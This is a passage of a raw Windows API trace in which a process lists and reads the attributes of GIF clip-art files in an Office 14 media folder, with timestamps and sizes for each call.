	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115855.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51d3ee00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd408600, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51d3ee00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x11a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115856.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd42e760, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1d3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115875.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x60220a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbd4548c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x60220a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x15e, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0115876.GIF", cAlternateFileName="")) returned 1
	[0052.026] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3475600, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0x66293410, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3475600, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0x3b98, dwReserved0=0x0, dwReserved1=0x0, cFileName="LINES.DLL", cAlternateFileName="")) returned 1
	[0052.027] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d38d4 | out: lpFindFileData=0x127d38d4*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0052.027] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0052.027] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10219_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10219_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1241bcc8 | out: lpFileInformation=0x1241bcc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b0e4a00, ftCreationTime.dwHighDateTime=0x1bd5ead, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9b0e4a00, ftLastWriteTime.dwHighDateTime=0x1bd5ead, nFileSizeHigh=0x0, nFileSizeLow=0x3d2)) returned 1
	[0052.028] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10256_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10256_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1241bd18 | out: lpFileInformation=0x1241bd18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc847960, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x97e)) returned 1
	[0052.029] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10289_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10289_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1241bd68 | out: lpFileInformation=0x1241bd68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x124)) returned 1
	[0052.029] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10290_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10290_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1241bdb8 | out: lpFileInformation=0x1241bdb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e031400, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc893c20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x6e031400, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x134)) returned 1
	[0052.029] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10307_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10307_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1241be08 | out: lpFileInformation=0x1241be08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73f8f500, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73f8f500, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x497)) returned 1
	[0052.029] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10308_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10308_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1241be58 | out: lpFileInformation=0x1241be58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x752a2200, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x752a2200, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x27d)) returned 1
	[0052.030] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD10358_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd10358_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1241bea8 | out: lpFileInformation=0x1241bea8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x68a6c900, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbc8b9d80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x68a6c900, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x3a4)) returned 1
	[0052.030] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14516_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14516_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1241bef8 | out: lpFileInformation=0x1241bef8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb91d2700, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc8dfee0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb91d2700, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x160)) returned 1
	[0052.030] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14538_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14538_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1241bf48 | out: lpFileInformation=0x1241bf48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8d9c300, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8d9c300, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x617)) returned 1
	[0052.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14539_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14539_.gif"), fInfoLevelId=0x0, lpFileInformation=0x1241bf98 | out: lpFileInformation=0x1241bf98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc906040, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x5ab)) returned 1
	[0052.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14594_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14594_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428008 | out: lpFileInformation=0x12428008*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x25b)) returned 1
	[0052.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14595_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14595_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428058 | out: lpFileInformation=0x12428058*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84a96b00, ftCreationTime.dwHighDateTime=0x1bd8f90, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x84a96b00, ftLastWriteTime.dwHighDateTime=0x1bd8f90, nFileSizeHigh=0x0, nFileSizeLow=0x1d7)) returned 1
	[0052.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14677_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14677_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124280a8 | out: lpFileInformation=0x124280a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbe2ea600, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc952300, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe2ea600, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x11c)) returned 1
	[0052.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14710_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14710_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124280f8 | out: lpFileInformation=0x124280f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x2fe)) returned 1
	[0052.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14711_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14711_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428148 | out: lpFileInformation=0x12428148*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcdadef00, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc978460, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xcdadef00, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0xa97)) returned 1
	[0052.031] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14768_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14768_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428198 | out: lpFileInformation=0x12428198*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x1a7)) returned 1
	[0052.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14769_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14769_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124281e8 | out: lpFileInformation=0x124281e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2a26200, ftCreationTime.dwHighDateTime=0x1bd8f91, ftLastAccessTime.dwLowDateTime=0xbc99e5c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf2a26200, ftLastWriteTime.dwHighDateTime=0x1bd8f91, nFileSizeHigh=0x0, nFileSizeLow=0x16a)) returned 1
	[0052.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14800_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14800_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428238 | out: lpFileInformation=0x12428238*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9c4720, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x1f3)) returned 1
	[0052.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14801_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14801_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428288 | out: lpFileInformation=0x12428288*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaa0af000, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbc9ea880, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaa0af000, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x384)) returned 1
	[0052.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14844_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14844_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124282d8 | out: lpFileInformation=0x124282d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x13c)) returned 1
	[0052.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14845_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14845_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428328 | out: lpFileInformation=0x12428328*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3e9a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca109e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf3e9a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x117)) returned 1
	[0052.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14882_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14882_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428378 | out: lpFileInformation=0x12428378*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x17d)) returned 1
	[0052.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14883_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14883_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124283c8 | out: lpFileInformation=0x124283c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ebde300, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca36b40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x1ebde300, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x144)) returned 1
	[0052.032] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14996_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14996_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428418 | out: lpFileInformation=0x12428418*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2d7)) returned 1
	[0052.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD14997_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd14997_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428468 | out: lpFileInformation=0x12428468*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x73615e00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca5cca0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x73615e00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x2ae)) returned 1
	[0052.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15034_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15034_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124284b8 | out: lpFileInformation=0x124284b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbca82e00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x220)) returned 1
	[0052.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15035_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15035_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428508 | out: lpFileInformation=0x12428508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81af7a00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcaa8f60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81af7a00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x16e)) returned 1
	[0052.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15072_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15072_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428558 | out: lpFileInformation=0x12428558*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9be95800, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9be95800, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x1a7)) returned 1
	[0052.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15073_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15073_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124285a8 | out: lpFileInformation=0x124285a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d1a8500, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcacf0c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x9d1a8500, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x186)) returned 1
	[0052.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15155_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15155_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124285f8 | out: lpFileInformation=0x124285f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x115)) returned 1
	[0052.033] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15156_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15156_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428648 | out: lpFileInformation=0x12428648*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab3c1d00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcaf5220, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xab3c1d00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x143)) returned 1
	[0052.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15184_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15184_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428698 | out: lpFileInformation=0x12428698*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482)) returned 1
	[0052.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15185_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15185_.gif"), fInfoLevelId=0x0, lpFileInformation=0x124286e8 | out: lpFileInformation=0x124286e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd3f09b00, ftCreationTime.dwHighDateTime=0x1bd8f92, ftLastAccessTime.dwLowDateTime=0xbcb1b380, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd3f09b00, ftLastWriteTime.dwHighDateTime=0x1bd8f92, nFileSizeHigh=0x0, nFileSizeLow=0x482)) returned 1
	[0052.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15301_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15301_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428738 | out: lpFileInformation=0x12428738*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac6d4a00, ftCreationTime.dwHighDateTime=0x1bd9367, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xac6d4a00, ftLastWriteTime.dwHighDateTime=0x1bd9367, nFileSizeHigh=0x0, nFileSizeLow=0x2fe)) returned 1
	[0052.034] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\OFFICE14\\LINES\\BD15302_.GIF" (normalized: "c:\\program files\\microsoft office\\media\\office14\\lines\\bd15302_.gif"), fInfoLevelId=0x0, lpFileInformation=0x12428788 | out: lpFileInformation=0x12428788*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7332a00, ftCreationTime.dwHighDateTime=0x1bd8f93, ftLastAccessTime.dwLowDateTime=0xbcb414e0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x7332a00, ftLastWriteTime.dwHighDateTime=0x1bd8f93, nFileSizeHigh=0x0, nFileSizeLow=0x1ba)) returned 1
